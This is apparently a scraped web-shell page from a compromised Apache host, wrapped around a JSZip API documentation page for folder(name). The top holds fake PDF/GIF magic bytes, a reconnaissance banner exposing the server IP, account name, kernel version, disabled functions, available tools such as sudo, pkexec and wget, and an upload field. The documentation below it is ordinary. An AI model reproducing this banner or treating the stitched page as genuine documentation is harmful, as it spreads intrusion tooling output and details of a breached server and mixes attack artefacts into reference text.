%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.134 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/jszip/documentation/api_jszip/ |
Upload File : |
--- title: "folder(name)" layout: default section: api --- __Description__ : Create a directory if it doesn't exist, return a new JSZip object with the new folder as root. See also [the `dir` option of file()]({{site.baseurl}}/documentation/api_jszip/file_data.html). __Arguments__ name | type | description -----|--------|------------ name | string | the name of the directory. __Returns__ : A new JSZip (for chaining), with the new folder as root. __Throws__ : Nothing. <!-- __Complexity__ : **O(1)** --> __Example__ ```js zip.folder("images"); zip.folder("css").file("style.css", "body {background: #FF0000}"); // or specify an absolute path (using forward slashes) zip.file("css/font.css", "body {font-family: sans-serif}") // result : images/, css/, css/style.css, css/font.css ```